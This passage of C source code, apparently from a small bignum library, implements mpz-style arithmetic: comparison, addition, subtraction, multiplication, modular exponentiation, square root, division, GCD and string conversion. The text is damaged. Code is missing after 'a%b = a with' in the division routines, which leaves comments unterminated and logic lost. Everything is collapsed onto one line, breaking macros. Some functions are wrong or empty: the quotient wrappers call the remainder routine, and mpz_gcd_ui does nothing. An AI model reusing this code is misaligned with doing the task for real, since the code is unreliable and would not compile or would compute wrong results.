return SBN_OK; /* note that here we are sure that 'bitshift' <= ATOMBITS */ if (r->l) { r->d[0] >>= bitshift; for (j = 1; j < r->l; j++) { x = (mpz_carry_t) r->d[j] << (ATOMBITS-bitshift); r->d[j] = x >> ATOMBITS; r->d[j-1] |= x & MPZ_MASK; } if (!r->d[r->l-1]) r->l--; } return SBN_OK; } /* Fast 'z' 1 bit right shift. Handle normalization. Assume z->a != 0 * (so z->d != NULL), that's: don't call it without a reallocation. */ #define _mpz_self_rshift1(z) \ do { \ u_int32_t j; \ (z)->d[0] >>= 1; \ for (j = 1; j < (z)->l; j++) { \ (z)->d[j-1] |= ((z)->d[j] & 1) << (ATOMBITS-1); \ (z)->d[j] >>= 1; \ } \ if (!(z)->d[(z)->l-1]) \ (z)->l--; \ } while(0); /* -------------------------- bitwise AND OR XOR NOT ------------------------ */ /* 'r' = 'z' bit-AND 'm' */ int mpz_and(mpz_ptr r, mpz_ptr z, mpz_ptr m) { int err; u_int32_t j; u_int32_t len; if (z == m) { /* A AND A = A */ mpz_set(r, z); return SBN_OK; } len = MIN(z->l, m->l); if ((err = mpz_realloc(r, len)) != SBN_OK) return err; for (j = 0; j < len; j++) r->d[j] = z->d[j] & m->d[j]; memset(r->d+j, 0, r->a - j); /* clear not-used words before normalize */ mpz_normalize(r); return SBN_OK; } /* -------------------------------- compare --------------------------------- */ /* The same as mpz_cmpabs() for immediate. * Relies on the fact that mpz_cmpabs() don't perform any allocation-related * operation on the second operand. */ int32_t mpz_cmpabsi_raw(mpz_ptr a, mpz_atom_t *d, u_int32_t l) { mpz_t b; b->d = d; b->l = b->a = l; b->s = 0; return mpz_cmpabs(a, b); } /* compare ABS('a') and ABS('b'), return values: * >0 if a > b * 0 if a == b * <0 if a < b * * 'a->d' and 'b->d' can point to statically allocated memory. * * Note that we can't use subtraction to return >0 or <0 if a-b != 0 * since the type for length and atom is unsigned so it may overflow. */ int32_t mpz_cmpabs(mpz_ptr a, mpz_ptr b) { int32_t i; if (a->l > b->l) return 1; if (a->l < b->l) return -1; i = a->l; while(i--) { if (a->d[i] > b->d[i]) return 1; if (a->d[i] < b->d[i]) return -1; } return 0; } /* the same as mpz_cmpabs() but 'b' is a 32bit unsigned immediate */ int32_t mpz_cmpabs_ui(mpz_ptr a, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_cmpabs(a, mpz); } /* compare 'a' and 'b'. Return values are the same as mpz_cmpabs() */ int32_t mpz_cmp(mpz_ptr a, mpz_ptr b) { if (!a->l && !b->l) /* 0 == 0 */ return 0; if (a->s == b->s) { /* same sign */ if (a->s) return mpz_cmpabs(b,a); /* both negative */ return mpz_cmpabs(a,b); /* both positive */ } /* one negative, one positive */ if (a->s) return -1; return 1; } /* The same as mpz_cmp() with unsigned 32bit immediate */ int32_t mpz_cmp_ui(mpz_ptr a, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_cmp(a, mpz); } /* signed integer version */ int32_t mpz_cmp_si(mpz_ptr a, int32_t s) { mpz_t mpz; u_int32_t u = (s > 0) ? s : -s; u32tompz(t,u,l); u32pack(mpz,t,l); mpz->s = s < 0; return mpz_cmp(a, mpz); } /* ---------------------------- addition ------------------------------------ */ /* Raw add of immediate, don't care about the sign since * it's up to the caller */ int mpz_addi_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l) { int err; u_int32_t maxi = MAX(z->l, l); mpz_atom_t car = 0; mpz_carry_t sum; u_int32_t j; mpz_atom_t *t = NULL; if (r->d == d) { if ((t = malloc(l*MPZ_ATOMSZ)) == NULL) return SBN_MEM; memcpy(t, d, l*MPZ_ATOMSZ); d = t; } /* two sum of a,b requires at max MAX(len(a),len(b))+1 bytes */ if (r != z && ((err = mpz_zero_realloc(r, maxi)) != SBN_OK)) return err; if ((err = mpz_realloc(z, (r == z) ? maxi : l)) != SBN_OK) return err; for(j = 0; j < l; j++) { sum = (mpz_carry_t) d[j] + z->d[j] + car; car = sum >> MPZ_SHIFT; sum &= MPZ_MASK; r->d[j] = sum; } for (j = l; j < z->l; j++) { sum = (mpz_carry_t) z->d[j] + car; car = sum >> MPZ_SHIFT; sum &= MPZ_MASK; r->d[j] = sum; } if (car) { r->d[j] = car; j++; } r->l = j; /* mpz_normalize() not needed */ if (t) free(t); return SBN_OK; } /* Add 'z' and a 32bit unsigned integer 'u' and put the result in 'r' * Relies on the ability of mpz_add() to accept the last operator * statically allocated */ int mpz_add_ui(mpz_ptr r, mpz_ptr z, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_add(r, z, mpz); } /* The same as mpz_add_ui but with signed integer */ int mpz_add_si(mpz_ptr r, mpz_ptr z, int32_t s) { mpz_t mpz; u_int32_t u = (s > 0) ? s : -s; u32tompz(t,u,l); u32pack(mpz,t,l); mpz->s = s < 0; return mpz_add(r, z, mpz); } /* 'r' = 'a' + 'b' * b->d can point to statically allocated data */ int mpz_add(mpz_ptr r, mpz_ptr a, mpz_ptr b) { int cmp = mpz_cmpabs(a, b); int err; /* both positive or negative */ if (a->s == b->s) { err = mpz_addi_raw(r, a, b->d, b->l); r->s = a->s; return err; } /* different signs if we are here */ if (a->s) { /* a negative, b positive */ if (cmp >= 0) { /* a >= b */ err = mpz_subi_raw(r, a, b->d, b->l); r->s = (r->l == 0) ? 0 : 1; /* negative */ return err; } else { /* a < b */ err = mpz_subi_raw(r, b, a->d, a->l); r->s = 0; /* positive */ return err; } } else { /* a positive, b negative */ if (cmp >= 0) { /* a >= b */ err = mpz_subi_raw(r, a, b->d, b->l); r->s = 0; /* positive */ return err; } else { /* a < b */ err = mpz_subi_raw(r, b, a->d, a->l); r->s = (r->l == 0) ? 0 : 1; /* negative */ return err; } } return SBN_OK; /* not reached */ } /* ---------------------------- subtraction --------------------------------- */ /* WARNING: assume z > d */ int mpz_subi_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l) { int err; mpz_scarry_t sub; mpz_atom_t car = 0; u_int32_t j; mpz_atom_t *t = NULL; if (r->d == d) { if ((t = malloc(l*MPZ_ATOMSZ)) == NULL) return SBN_MEM; memcpy(t, d, l*MPZ_ATOMSZ); d = t; } if (r != z && ((err = mpz_set(r, z)) != SBN_OK)) return err; for (j = 0; j < l; j++) { sub = (mpz_scarry_t) z->d[j] - car - d[j]; car = 0; if (sub < 0) { sub += MPZ_BASE; car = 1; } r->d[j] = sub; } for (j = l; j < z->l; j++) { sub = (mpz_scarry_t) z->d[j] - car; car = 0; if (sub < 0) { sub += MPZ_BASE; car = 1; } r->d[j] = sub; } r->l = j; mpz_normalize(r); if (t) free(t); return SBN_OK; } /* 'r' = 'a' - 'b' * b->d can be statically allocated data */ int mpz_sub(mpz_ptr r, mpz_ptr a, mpz_ptr b) { int cmp = mpz_cmpabs(a, b); int err; /* different signs? */ if (a->s != b->s) { err = mpz_addi_raw(r, a, b->d, b->l); r->s = a->s; return err; } /* both positive or negative if we are here */ if (a->s) { /* both negative */ if (cmp >= 0) { /* a >= b */ err = mpz_subi_raw(r, a, b->d, b->l); r->s = (r->l == 0) ? 0 : 1; /* negative */ return err; } else { /* a < b */ err = mpz_subi_raw(r, b, a->d, a->l); r->s = 0; /* positive */ return err; } } else { /* both positive */ if (cmp >= 0) { /* a >= b */ err = mpz_subi_raw(r, a, b->d, b->l); r->s = 0; /* positive */ return err; } else { /* a < b */ err = mpz_subi_raw(r, b, a->d, a->l); r->s = (r->l == 0) ? 0 : 1; /* negative */ return err; } } return SBN_OK; /* not reached */ } /* mpz_sub() with immediate. * Relies on the fact that mpz_sub() works if the last argument * is statically allocated */ int mpz_sub_ui(mpz_ptr r, mpz_ptr z, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_sub(r, z, mpz); } /* like mpz_sub_ui but with signed integer */ int mpz_sub_si(mpz_ptr r, mpz_ptr z, int32_t s) { mpz_t mpz; u_int32_t u = (s > 0) ? s : -s; u32tompz(t,u,l); u32pack(mpz,t,l); mpz->s = s < 0; return mpz_sub(r, z, mpz); } /* ------------------------------- product ---------------------------------- */ /* Raw multiplication of immediate, don't care about the sign * since it's up to the caller */ int mpz_muli_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l) { int err; u_int32_t maxi = z->l+l; mpz_atom_t car; mpz_carry_t mul; u_int32_t j, i; mpz_t t, rt; mpz_ptr rbak = NULL; int tmptarget = (r == z); mpz_atom_t *x = NULL; /* Make a copy of 'd' if it's == r */ if (r->d == d) { if ((x = malloc(l*MPZ_ATOMSZ)) == NULL) return SBN_MEM; memcpy(x, d, l*MPZ_ATOMSZ); d = x; } /* if r and z are the same we need a temp bignum target */ if (tmptarget) { rbak = r; r = rt; mpz_init(r); r->s = rbak->s; /* preserve the original sign */ } /* two product of a,b requires at max len(a)+len(b) bytes */ if ((err = mpz_zero_realloc(r, maxi)) != SBN_OK) goto error; /* initialize the temp var */ mpz_init(t); if ((err = mpz_realloc(t, maxi)) != SBN_OK) goto error; for(j = 0; j < l; j++) { car = 0; mpz_zero(t); for (i = 0; i < z->l; i++) { /* note that A = B * C + D + E * with A of N*2 bits and C,D,E of N bits * can't overflow since: * (2^N-1)*(2^N-1)+(2^N-1)+(2^N-1) == 2^(2*N)-1 */ mul = (mpz_carry_t) d[j] * z->d[i] + car + r->d[i+j]; car = mul >> MPZ_SHIFT; mul &= MPZ_MASK; r->d[i+j] = mul; } if (car) r->d[i+j] = car; } r->l = maxi; mpz_normalize(r); if (tmptarget && ((err = mpz_set(rbak, rt)) != SBN_OK)) goto error; err = SBN_OK; /* fall through */ error: mpz_clear(t); if (tmptarget) mpz_clear(rt); if (x) free(x); return err; } /* 'r' = 'z' * 'f' */ int mpz_mul(mpz_ptr r, mpz_ptr z, mpz_ptr f) { r->s = z->s^f->s; /* the sign is the xor of the two sings */ return mpz_muli_raw(r, z, f->d, f->l); } /* Mul 'z' and a 32bit unsigned integer 'u' and put the result in 'r' * We don't need to touch the sign since the factor is >= 0 */ int mpz_mul_ui(mpz_ptr r, mpz_ptr z, u_int32_t u) { u32tompz(t,u,l); r->s = z->s; return mpz_muli_raw(r, z, t, l); } /* Like mpz_mul_ui but with signed integer */ int mpz_mul_si(mpz_ptr r, mpz_ptr z, int32_t s) { u_int32_t u = (s > 0) ? s : -s; u32tompz(t,u,l); r->s = z->s^(s<0); return mpz_muli_raw(r, z, t, l); } /* 'r' = i! */ int mpz_fac_ui(mpz_ptr r, u_int32_t i) { u_int32_t j; int err; if (!i) { mpz_setzero(r); return SBN_OK; } if ((err = mpz_set_ui(r, 1)) != SBN_OK) return err; for (j = 2; j <= i; j++) if ((err = mpz_mul_ui(r, r, j)) != SBN_OK) return err; return SBN_OK; } /* --------------------------- exponentialization --------------------------- */ /* compute b^e mod m. * Note that there are much faster ways to do it. * see www.nc.com for more information */ int mpz_powm(mpz_ptr r, mpz_ptr b, mpz_ptr e, mpz_ptr m) { int rs = 0, err; mpz_t B, E; if (e->s) /* can't handle negative exponents */ return SBN_INVAL; /* handle overlapping of modulo and result */ if (r == m) _mpz_clone_stack(m); /* we need to work on copies of base and exponent */ mpz_init(B); mpz_init(E); if ((err = mpz_set(B, b)) != SBN_OK) return err; if ((err = mpz_set(E, e)) != SBN_OK) { mpz_clear(B); return err; } /* make the base positive, but first compute the power sign, * that's negative only if the base is negative and exponent odd */ if (B->s && _mpz_is_odd(E)) rs = 1; _mpz_abs(B); /* compute r = b^e mod m */ mpz_set_ui(r, 1); while(mpz_cmpabs_ui(E, 1) > 0) { if (_mpz_is_odd(E)) { if ((err = mpz_mul(r, r, B)) != SBN_OK) goto error; if ((err = mpz_mod(r, r, m)) != SBN_OK) goto error; } _mpz_self_rshift1(E); /* e = e / 2 */ if ((err = mpz_mul(B, B, B)) != SBN_OK) goto error; if ((err = mpz_mod(B, B, m)) != SBN_OK) goto error; } if ((err = mpz_mul(r, r, B)) != SBN_OK) goto error; r->s = rs; /* set the pre-computed sign */ if ((err = mpz_mod(r, r, m)) != SBN_OK) goto error; err = SBN_OK; /* fall through */ error: mpz_clear(B); mpz_clear(E); return err; } /* Just b^e. The algorithm is just the one of mpz_powm() without * the modulo step. */ int mpz_pow(mpz_ptr r, mpz_ptr b, mpz_ptr e) { int rs = 0, err; mpz_t B, E; if (e->s) /* can't handle negative exponents */ return SBN_INVAL; /* we need to work on copies of base and exponent */ mpz_init(B); mpz_init(E); if ((err = mpz_set(B, b)) != SBN_OK) return err; if ((err = mpz_set(E, e)) != SBN_OK) { mpz_clear(B); return err; } /* make the base positive, but first compute the power sign, * that's negative only if the base is negative and exponent odd */ if (B->s && _mpz_is_odd(E)) rs = 1; _mpz_abs(B); /* compute r = b^e */ mpz_set_ui(r, 1); while(mpz_cmpabs_ui(E, 1) > 0) { if (_mpz_is_odd(E)) { if ((err = mpz_mul(r, r, B)) != SBN_OK) goto error; } _mpz_self_rshift1(E); /* e = e / 2 */ if ((err = mpz_mul(B, B, B)) != SBN_OK) goto error; } if ((err = mpz_mul(r, r, B)) != SBN_OK) goto error; r->s = rs; /* set the pre-computed sign */ err = SBN_OK; /* fall through */ error: mpz_clear(B); mpz_clear(E); return err; } /* -------------------------- root extraction ------------------------------- */ /* r = floor(sqrt(z)). That's r*r <= z AND (r+1)*(r+1) > z. * The algorithm used is very simple but very slow. It exploits * the binary rappresentation. This should be replaced since * performances are very poor */ int mpz_sqrt(mpz_ptr r, mpz_ptr z) { int j = mpz_bits(z); /* MSB bit of 'z' */ int i = ((j-1)/2); /* MSB bit (sometimes one more) of 'r' */ int b = i*2; /* bit to set to obtain 2^i * 2^i */ int err; u_int32_t atoms = j >> DIVATOMBITS_SHIFT; mpz_t s, R, X; mpz_init(s); mpz_init(R); mpz_init(X); if (r == z) { _mpz_clone_stack(z); } if ((err = mpz_realloc(s, atoms)) != SBN_OK) return err; if ((err = mpz_realloc(R, atoms)) != SBN_OK) return err; if ((err = mpz_realloc(X, atoms)) != SBN_OK) return err; if ((err = mpz_zero_realloc(r, atoms)) != SBN_OK) return err; for(; i >= 0; i--, b -= 2) { _mpz_setbit(R, b); mpz_addi_raw(X, s, R->d, R->l); _mpz_clrbit(R, b); if (mpz_cmpabs(X, z) <= 0) { mpz_set(s, X); _mpz_setbit(r, i); _mpz_setbit(R, b+1); } _mpz_self_rshift1(R); } mpz_clear(s); mpz_clear(R); mpz_clear(X); return SBN_OK; } /* ----------------------------- division ----------------------------------- */ /* Raw division of immediate don't care about the sign * since it's up to the caller. * * compute: * 'q' = 'z' / 'd' * 'r' = 'z' % 'd' * * Assume: z >= 0, d > 0, all the arguments must not overlap. * Arguments overlapping, sign, etc, are handled in mpz_tdiv_qr(). * 'z' can be statically allocated. * * =========================================================================== * * I got this algorithm from PGP 2.6.3i (see the mp_udiv function). * Here is how it works: * * Input: N=(Nn,...,N2,N1,N0)radix2 * D=(Dn,...,D2,D1,D0)radix2 * Output: Q=(Qn,...,Q2,Q1,Q0)radix2 = N/D * R=(Rn,...,R2,R1,R0)radix2 = N%D * * Assume: N >= 0, D > 0 * * For j from 0 to n * Qj <- 0 * Rj <- 0 * For j from n down to 0 * R <- R*2 * if Nj = 1 then R0 <- 1 * if R => D then R <- (R - D), Qn <- 1 * * Note that the doubling of R is usually done leftshifting one position. * The only operations needed are bit testing, bit setting and subtraction. * * Unfortunately it is quite slow. The algoritm is not very fast * and the implementation may be smarter. The good point is that * it's very simple to implement. */ int mpz_divi_qr_raw(mpz_ptr q, mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l) { int bit = mpz_bits(z) - 1; mpz_zero_realloc(q, z->l-l+1); mpz_zero_realloc(r, l); while(bit >= 0) { _mpz_self_lshift1_setbit0(r, (_mpz_testbit(z, bit) != 0)); if (mpz_cmpabsi_raw(r, d, l) >= 0) { _mpz_normalize(r); mpz_subi_raw(r, r, d, l); __mpz_setbit(q, bit); } bit--; } _mpz_normalize(q); _mpz_normalize(r); return SBN_OK; } /* The same as mpz_divi_qr_raw() but only the remainder is computed */ int mpz_divi_r_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l) { int bit = mpz_bits(z) - 1; mpz_zero_realloc(r, l); while(bit >= 0) { _mpz_self_lshift1_setbit0(r, (_mpz_testbit(z, bit) != 0)); if (mpz_cmpabsi_raw(r, d, l) >= 0) { _mpz_normalize(r); mpz_subi_raw(r, r, d, l); } bit--; } _mpz_normalize(r); return SBN_OK; } /* Wrapper for the real division function * 'q' = 'z' / 'd' * 'r' = 'z' % 'd' * * Assume that q and r are different pointers. * d can be statically allocated. * Relies on the fact that: * mpz_set() can accept as second argument a statically allocated operator * mpz_cmpabs() can accept as second argument a statically allocated op. * mpz_divi_qr() can accept a statically allocated divident. */ int mpz_tdiv_qr(mpz_ptr q, mpz_ptr r, mpz_ptr z, mpz_ptr d) { int cmp; int err; if (d->l == 0) /* division by zero */ return SBN_INVAL; if (z == d) { err = mpz_set_ui(q, 1); /* a/a = 1 */ if (err != SBN_OK) return err; mpz_setzero(r); /* a%a = 0 */ return SBN_OK; } cmp = mpz_cmpabs(z, d); if (cmp < 0) { /* z < d */ err = mpz_set(r, z); /* a%b = a with as = z->s^d->s; /* the sign is the xor of the two sings */ r->s = z->s; /* the sign of the remainder is the sign of the divident */ return mpz_divi_qr_raw(q, r, z, d->d, d->l); } /* The same as mpz_tdiv_qr() but the divisor is a 32bit unsigned immediate */ int mpz_tdiv_qr_ui(mpz_ptr q, mpz_ptr r, mpz_ptr z, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_tdiv_qr(q, r, z, mpz); } /* Like mpz_tdiv_qr_si but with signed integer */ int mpz_tdiv_qr_si(mpz_ptr q, mpz_ptr r, mpz_ptr z, int32_t s) { mpz_t mpz; u_int32_t u = (s > 0) ? s : -s; u32tompz(t,u,l); u32pack(mpz,t,l); mpz->s = s < 0; return mpz_tdiv_qr(q, r, z, mpz); } /* Like mpz_tdiv_qr but only the remainder is computed */ int mpz_tdiv_r(mpz_ptr r, mpz_ptr z, mpz_ptr d) { int cmp; if (d->l == 0) /* division by zero */ return SBN_INVAL; if (z == d) { mpz_setzero(r); /* a%a = 0 */ return SBN_OK; } cmp = mpz_cmpabs(z, d); if (cmp < 0) { /* z < d */ if (r == z) return SBN_OK; return mpz_set(r, z); /* a%b = a with as = z->s; /* the sign of the remainder is the sign of the divident */ return mpz_divi_r_raw(r, z, d->d, d->l); } /* The same as mpz_tdiv_r() but the divisor is a 32bit unsigned immediate */ int mpz_tdiv_r_ui(mpz_ptr r, mpz_ptr z, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_tdiv_r(r, z, mpz); } /* Like the above but with signed integer */ int mpz_tdiv_r_si(mpz_ptr r, mpz_ptr z, int32_t s) { mpz_t mpz; u_int32_t u = (s > 0) ? s : -s; u32tompz(t,u,l); u32pack(mpz,t,l); mpz->s = s < 0; return mpz_tdiv_r(r, z, mpz); } /* Like mpz_tdiv_qr but only the quotient is computed. * This is just a wrapper for mpz_tdiv_qr() */ int mpz_tdiv_q(mpz_ptr q, mpz_ptr z, mpz_ptr d) { int err; mpz_t r; mpz_init(r); err = mpz_tdiv_qr(q, r, z, d); mpz_clear(r); return err; } /* The same as mpz_tdiv_q() but the divisor is a 32bit unsigned immediate */ int mpz_tdiv_q_ui(mpz_ptr q, mpz_ptr z, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_tdiv_r(q, z, mpz); } /* Like the above but with signed integer */ int mpz_tdiv_q_si(mpz_ptr q, mpz_ptr z, int32_t s) { mpz_t mpz; u_int32_t u = (s > 0) ? s : -s; u32tompz(t,u,l); u32pack(mpz,t,l); mpz->s = s < 0; return mpz_tdiv_r(q, z, mpz); } /* Division by one-atom divident. * compute z = z / d; * The remainder is returned. * * Assume: z > 0, d > 0 * Operands overlapping is not allowed */ mpz_atom_t _mpz_selfdiv1_qr_raw(mpz_ptr z, mpz_atom_t d) { int32_t j; mpz_carry_t t; /* divide */ for (t = 0, j = z->l-1; j >= 0; j--) { t = (t << MPZ_SHIFT) + z->d[j]; z->d[j] = t / d; t %= d; } /* normalize */ if (!z->d[z->l-1]) z->l--; return t; } /* Compute z mod m (modular reduction) */ int mpz_mod(mpz_ptr r, mpz_ptr z, mpz_ptr m) { int err; if (r == m) _mpz_clone_stack(m); if ((err = mpz_tdiv_r(r, z, m)) != SBN_OK) return err; if (r->l && z->s) { if (m->s) { if ((err = mpz_sub(r, r, m)) != SBN_OK) return err; } else { if ((err = mpz_add(r, r, m)) != SBN_OK) return err; } } return SBN_OK; } /* ---------------------------- assignment ---------------------------------- */ /* Set z = 0 * Note: not GMP compatible */ int mpz_setzero(mpz_ptr z) { z->s = 0; return mpz_zero_realloc(z, 0); } /* assign 's' to 'd'. * 's' can be statically allocated */ int mpz_set(mpz_ptr d, mpz_ptr s) { int err; if ((err = mpz_zero_realloc(d, s->l)) != SBN_OK) return err; memcpy(d->d, s->d, s->l*MPZ_ATOMSZ); d->l = s->l; d->s = s->s; return SBN_OK; } /* Like mpz_set() without reallocation. Assume there is enough * space in d to get the value of s */ #define _mpz_set(D, S) \ do { \ memcpy(D->d, S->d, S->l*MPZ_ATOMSZ); \ D->l = S->l; \ D->s = S->s; \ } while(0) /* Set in 'z' the 32bit unsigned integer given as argument */ int mpz_set_ui(mpz_ptr z, u_int32_t u) { mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); return mpz_set(z, mpz); } /* Set in 'z' the double d */ int mpz_set_d(mpz_ptr z, double d) { int i = 0; u_int64_t u; z->s = (d < 0); d = (d < 0) ? -d : d; u = d; if (mpz_realloc(z, 8)) return 1; while(u) { z->d[i] = u & MPZ_MASK; u >>= MPZ_SHIFT; i++; } z->l = i; return 0; } /* Set in 'z' the 64bit unsigned integer 'u' */ int mpz_set_ui64(mpz_ptr z, u_int64_t u) { int i = 0; z->s = 0; if (mpz_realloc(z, 8)) return 1; while(u) { z->d[i] = u & MPZ_MASK; u >>= MPZ_SHIFT; i++; } z->l = i; return 0; } /* Set in 'z' the 64bit signed integer 's' */ int mpz_set_si64(mpz_ptr z, int64_t s) { u_int64_t u; int sign = s < 0, err; u = (s > 0) ? s : -s; if ((err = mpz_set_ui64(z, u)) != SBN_OK) return err; z->s = sign; return err; } /* Set in 'z' the 32bit unsigned integer given as argument */ int mpz_set_si(mpz_ptr z, int32_t s) { int neg = s < 0; int err; u_int32_t u = neg ? -s : s; mpz_t mpz; u32tompz(t,u,l); u32pack(mpz,t,l); if ((err = mpz_set(z, mpz))) return err; if (neg) _mpz_neg(z); return err; } /* set 'd' to ABS('s'). */ int mpz_abs(mpz_ptr d, mpz_ptr s) { int err; if ((d != s) && ((err = mpz_set(d, s)) != SBN_OK)) return err; _mpz_abs(d); return SBN_OK; } /* set 'd' to -'s' */ int mpz_neg(mpz_ptr d, mpz_ptr s) { int err; if ((d != s) && ((err = mpz_set(d, s)) != SBN_OK)) return err; _mpz_neg(d); return SBN_OK; } /* ----------------------- number theoretic functions ----------------------- */ /* Compute the GCD (greatest common divisor) for 'a' and 'b' using * the binary GCD algorithm. * * 'g' = GCD('|a|', '|b|') * * g, a, b can overlap (we anyway need to work on copies of a and b) * assume a > 0, b > 0. */ int mpz_gcd_raw(mpz_ptr g, mpz_ptr a, mpz_atom_t *b, u_int32_t l) { u_int32_t maxi = MAX(a->l, l); mpz_t B, t; int err; /* we need to work on copies. */ _mpz_clone_stack(a); _mpz_rawclone_stack(B, b, l); _mpz_abs(a); _mpz_abs(B); /* Reset 'g', prepare to accept up to maxi+1 atoms, set it to 1 */ if ((err = mpz_zero_realloc(g, maxi)) != SBN_OK) return err; g->d[0] = 1; /* after the realloc call there is at least 1 atom */ g->l = 1; /* The binary GCD algorithm */ mpz_init(t); /* While even(a) and even(b) -> a=a/2 b=b/2 g=g*2; */ while(_mpz_is_even(a) && _mpz_is_even(B)) { _mpz_self_rshift1(a); _mpz_self_rshift1(B); _mpz_self_lshift1(g); } /* While a > 0 */ while(_mpz_nonzero(a)) { /* While even(a) a=a/2 */ while(_mpz_is_even(a)) _mpz_self_rshift1(a); /* While even(b) b=b/2 */ while(_mpz_is_even(B)) _mpz_self_rshift1(B); /* t = abs(a-b)/2 * if (a >= b) a = t else b = t */ if (mpz_cmpabs(a, B) >= 0) { if ((err = mpz_subi_raw(t, a, B->d, B->l)) != SBN_OK) goto err; _mpz_self_rshift1(t); _mpz_set(a, t); } else { if ((err = mpz_subi_raw(t, B, a->d, a->l)) != SBN_OK) goto err; _mpz_self_rshift1(t); _mpz_set(B, t); } } /* GCD = g * b */ mpz_muli_raw(g, g, B->d, B->l); err = SBN_OK; /* fall through */ err: mpz_clear(t); return err; } /* wrapper for mpz_gcd_raw(). set GCD(a, 0) = a */ int mpz_gcd(mpz_ptr g, mpz_ptr a, mpz_ptr b) { int err; if (_mpz_iszero(a)) { if ((err = mpz_set(g, b)) != SBN_OK) return err; _mpz_abs(g); return SBN_OK; } if (_mpz_iszero(b)) { if ((err = mpz_set(g, a)) != SBN_OK) return err; _mpz_abs(g); return SBN_OK; } return mpz_gcd_raw(g, a, b->d, b->l); } /* GCD(a, b) with b unsigned 32bit integer immediate. * if 'g' is not NULL the result is stored in g. * if 'g' is NULL and the result fits inside the u_int32_t type * it is returned. If the result doesn't fit (can happen only if b = 0) * 0 is returned. */ u_int32_t mpz_gcd_ui(mpz_ptr g, mpz_ptr a, u_int32_t b) { g = g; a = a; b = b; return SBN_OK; } /* ----------------------- to/from string conversion ------------------------ */ #define sbn_chartoval(c) (r_cset[tolower(c)]) #define sbn_valtochar(v) (cset[v]) /* Extimate the number of bytes needed to store a string rappresentation * in base 'b' of the number 'z'. The length is overstimated, assuming * the precision of the C-lib log() is of 6 digits over the dot. * the length of the minus sign and the nul term are not included */ size_t mpz_sizeinbase(mpz_ptr z, u_int32_t b) { double len; if (b < SBN_MINBASE || b > SBN_MAXBASE) return SBN_INVAL; len = ((basetable[b]+0.000001) * z->l) + 1; return (size_t) len; } /* Convert an mpz_t to a string rappresentation in base 'b' * Always nul-terminate the string if l > 0. * * We use a common trick to speed-up the conversion. * Instead to perform divisions with remainder between * the bignum and the specified base, we use a base that's * the biggest power of the real base. Then we use the CPU * division to divide by the real base. This limits a lot * the number of multi-precision divisions, that are slow. * * For example converting in base 10, every 10 divisions * 9 are divisions between two mpz_atom_t vars, and only * one between a bignum and an mpz_atom_t. * * TODO: Note that this is still not very good since we should * at least handle the case of a base that's power of 2 * in a special way (i.e. performing shiftings and bitwise * andings). */ int mpz_tostr(mpz_ptr z, u_int32_t b, void *s, size_t l) { mpz_t t; char *d = s, *p; mpz_atom_t hb, hbn; if (b < SBN_MINBASE || b > SBN_MAXBASE) return SBN_INVAL; if (!l) return SBN_OK; /* Handle z = 0 */ if (_mpz_iszero(z)) { *d++ = '0'; goto done; } /* get the biggest power of 'b' that fits in an mpz_atom_t * and it's exponent from the table. */ hbn = basepowtable[b].maxexp; hb = basepowtable[b].maxpow; l--; mpz_init(t); mpz_set(t, z); while(_mpz_nonzero(t) && l) { unsigned int i; mpz_atom_t x; x = _mpz_selfdiv1_qr_raw(t, (mpz_atom_t) hb); for (i = 0; (i < hbn) && (l != 0); i++) { *d++ = sbn_valtochar(x % b); x /= b; if (x == 0 && _mpz_iszero(t)) break; } } mpz_clear(t); done: /* add the sign if needed */ if (l && z->s) *d++ = '-'; *d-- = '\0'; /* reverse the result */ p = s; while(p < d) { char t; t = *p; *p = *d; *d = t; d--; p++; } return SBN_OK; } char *mpz_get_str(char *str, int b, mpz_ptr z) { size_t len; if (b < SBN_MINBASE || b > SBN_MAXBASE) return NULL; len = mpz_sizeinbase(z, b) + 2; if (!str && ((str = malloc(len)) == NULL)) return NULL; mpz_tostr(z, b, str, len); return str; } /* set in 'z' the ascii rappresentation in 's' of the number in base 'b' * * On error the original value of 'z' is not guaranteed to be the same * as before this function is called. * * Again possible optimizations are not implemented. Most notably * the base power of 2 case. */ int mpz_set_str(mpz_ptr z, char *s, int b) { size_t len = strlen(s); char *t = s + len - 1; int neg = 0, err; mpz_t pow, toadd; /* seek the first non-blank char from the head */ while(*s && isspace(*s)) { s++; len--; } /* check if the number is negative */ if (len && *s == '-') { neg = 1; s++; len--; } /* guess the base */ if (b == 0) { b = 10; if (len && *s == '0') { b = 8; s++; len--; if (len && tolower(*s) == 'x') { b = 16; s++; len--; } else if (len && tolower(*s) == 'b') { b = 2; s++; len--; } } } if (b < SBN_MINBASE || b > SBN_MAXBASE) return SBN_INVAL; /* seek the first non-blank char from the tail */ while(t > s && isspace(*t)) t--; /* convert it */ mpz_init(pow); mpz_init(toadd); mpz_zero(z); if ((err = mpz_set_ui(pow, 1)) != SBN_OK) return err; while(t >= s) { int digit; digit = sbn_chartoval(*t); if (digit < 0 || digit >= b) { err = SBN_INVAL; goto error; } mpz_set_ui(toadd, digit); if ((err = mpz_mul(toadd, toadd, pow)) != SBN_OK) goto error; if ((err = mpz_add(z, z, toadd)) != SBN_OK) goto error; if ((err = mpz_mul_ui(pow, pow, b)) != SBN_OK) goto error; t--; } z->s = neg; err = SBN_OK; /* fall through */ error: mpz_clear(pow); mpz_clear(toadd); return err; } /* ------------------------------- random numbers --------------------------- */ /* The rc4_sbox array is static, but this doesn't mean you can't use this * library with threads. To create a real context for every random * generation session is an overkill here */ static unsigned char rc4_sbox[256]; /* We want to start every time with the same seed. This is very * important when some random number trigger multi-precision operations * bugs. This flags is used to initialize the sbox the first time */ static int rc4_seedflag = 0; /* Initialize the sbox with the 